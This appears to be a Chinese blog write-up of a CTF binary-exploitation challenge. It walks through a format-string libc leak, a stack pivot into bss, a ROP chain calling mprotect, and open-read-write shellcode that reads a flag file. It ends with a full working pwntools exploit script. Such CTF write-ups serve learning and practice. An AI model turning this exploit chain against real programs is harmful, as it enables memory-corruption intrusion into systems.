Share this post on:

checksec

image-20230203163254145

静态分析

发现有沙盒,那么只能orw了

image-20230203163230812

main函数发现了存在格式化字符串,并且这里的v3是dest加上输入的buf,但buf只给了8字节

然后存在栈溢出,溢出空间有0x10个字节,那么多半是得栈转移了

image-20230203163625011

思路

目前有一个格式化字符串,一个栈转移,由于只能orw,那么想到在bss段上写orw然后通过栈转移开始执行,要想在bss段执行shellcode还有一个问题就是需要使用mprotect函数将bss段地址改成可读可写可执行。去哪找函数写上述内容呢?可以第一次栈转移返回到read函数,并且栈转移时修改当前的rbp为bss段上的一个地址,这样在read的时候就可以将rop链写到bss段上了

总结一下流程:

  • fmt泄露libc
  • 栈溢出rbp设置为bss段地址,返回地址为当前read函数
  • rop链布置mprotect,写入orw
  • 栈转移,rbp设置为rop链首地址-0x8

总结

复习了栈转移,又对栈有了新的理解,当我们覆盖rbp之后,一些局部变量的寻址是根据rbp来进行的(这就是为什么第二次调用read时是向bss段写入的而不是之前的栈地址)

原来orw还可以这样生成

一般写shellcode离不开mprotect

一般read函数都可以想想多次利用?(遇到了好几次)

exp

from pwn import *

context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"

p = process(["./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

gdb.attach(p)

payload = b'%31$p'
p.sendafter('leave your name:', payload)
p.recvuntil('Hello, ')
libc_base = int(str(p.recv(14))[2:16],16) - 0x24083
log.success('leak addr :' + hex(libc_base))

bss = elf.bss(0x100)
log.success('bss addr :' + hex(bss))

payload = b'a'*0xb0 + p64(bss) + p64(0x40136C)
p.sendafter('DASCTF:', payload)

pop_rdi = 0x401413
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
mprotect_addr = libc.sym['mprotect'] + libc_base
log.success('mprotect addr :' + hex(mprotect_addr))

shellcode = asm(shellcraft.open("./flag"))
shellcode += asm(shellcraft.read(3,"rsp",0x30))
shellcode += asm(shellcraft.write(1,"rsp",0x30))

payload = p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx) + p64(7)
payload += p64(mprotect_addr) + p64(0x404110)
payload += shellcode
payload = payload.ljust(176, b'a')
payload += p64(0x4040d0 - 0x8) + p64(0x4012e1)

p.sendafter(b'DASCTF:\n', payload)

p.interactive()
Share this post on:

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用 * 标注